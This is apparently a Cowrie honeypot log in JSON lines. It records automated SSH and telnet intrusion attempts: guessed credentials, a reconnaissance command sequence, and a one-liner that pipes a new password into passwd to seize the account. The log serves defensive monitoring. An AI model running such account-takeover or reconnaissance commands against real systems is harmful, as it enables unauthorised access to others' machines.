-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:46.527970Z","src_ip":"68.183.236.1","session":"d0dc5888f1b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:47.537521Z","src_ip":"68.183.236.1","session":"d0dc5888f1b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:48.785419Z","src_ip":"68.183.236.1","session":"d0dc5888f1b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":53928,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ffbead51bb0","protocol":"ssh","message":"New connection: 68.183.236.1:53928 (10.17.0.5:22) [session: 7ffbead51bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:49.026649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:49.031095Z","src_ip":"68.183.236.1","session":"7ffbead51bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:49.278573Z","src_ip":"68.183.236.1","session":"7ffbead51bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:50.294726Z","src_ip":"68.183.236.1","session":"7ffbead51bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:51.542211Z","src_ip":"68.183.236.1","session":"7ffbead51bb0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:51.850030Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:51.853744Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:52.111172Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:52.670316Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin321\\nqMPh4LN6r4P4\\nqMPh4LN6r4P4\"|passwd|bash","message":"CMD: echo -e \"admin321\\nqMPh4LN6r4P4\\nqMPh4LN6r4P4\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:52.673534Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:52.677296Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:52.680483Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/780a1d8e8a529018be5c2db0d6156a3de32ba41b4b16e7e3a775dd11e56a21a2","size":32,"shasum":"780a1d8e8a529018be5c2db0d6156a3de32ba41b4b16e7e3a775dd11e56a21a2","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/780a1d8e8a529018be5c2db0d6156a3de32ba41b4b16e7e3a775dd11e56a21a2 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:52.937593Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:53.484374Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin321\\nqMPh4LN6r4P4\\nqMPh4LN6r4P4\\n\"|passwd","message":"CMD: echo \"admin321\\nqMPh4LN6r4P4\\nqMPh4LN6r4P4\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:53.486946Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/53f4cd352c1bca806b89d883af8c54d0846ab164cffbba6da6a8f6ad2ae06cb9","size":25,"shasum":"53f4cd352c1bca806b89d883af8c54d0846ab164cffbba6da6a8f6ad2ae06cb9","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/53f4cd352c1bca806b89d883af8c54d0846ab164cffbba6da6a8f6ad2ae06cb9 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:53.742672Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:54.330371Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:54.333514Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:54.589885Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:55.142386Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:55.145593Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:55.409220Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:55.949533Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:55.952785Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:55.955875Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:56.214798Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:56.762949Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:56.766645Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:57.024402Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:57.570342Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:57.573188Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:57.829532Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:58.378643Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:58.381547Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:58.640578Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:59.184011Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:59.186820Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:59.442032Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:59.992006Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:59.995734Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:00.254458Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:00.826949Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:00.830863Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:01.092611Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:01.714547Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:01.718320Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:02.001153Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:02.612385Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:02.617236Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:02.879806Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:03.490155Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:03.493928Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:03.762667Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:04.394579Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:04.399152Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:04.664688Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.5","message":"Connection lost after 21.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:04.674977Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":41288,"dst_ip":"10.17.0.5","dst_port":23,"session":"62fd744705b9","protocol":"telnet","message":"New connection: 103.247.216.2:41288 (10.17.0.5:23) [session: 62fd744705b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:07.765824Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":42070,"dst_ip":"10.17.0.5","dst_port":23,"session":"c52e20c64808","protocol":"telnet","message":"New connection: 103.247.216.2:42070 (10.17.0.5:23) [session: c52e20c64808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:08.774660Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":42886,"dst_ip":"10.17.0.5","dst_port":23,"session":"d790bde26c63","protocol":"telnet","message":"New connection: 103.247.216.2:42886 (10.17.0.5:23) [session: d790bde26c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:09.652066Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":43944,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b1d4cd388fd","protocol":"telnet","message":"New connection: 103.247.216.2:43944 (10.17.0.5:23) [session: 4b1d4cd388fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:10.722897Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.247.216.2","src_port":44760,"dst_ip":"10.17.0.5","dst_port":23,"session":"50b9c5466db4","protocol":"telnet","message":"New connection: 103.247.216.2:44760 (10.17.0.5:23) [session: 50b9c5466db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:00:11.636119Z"}
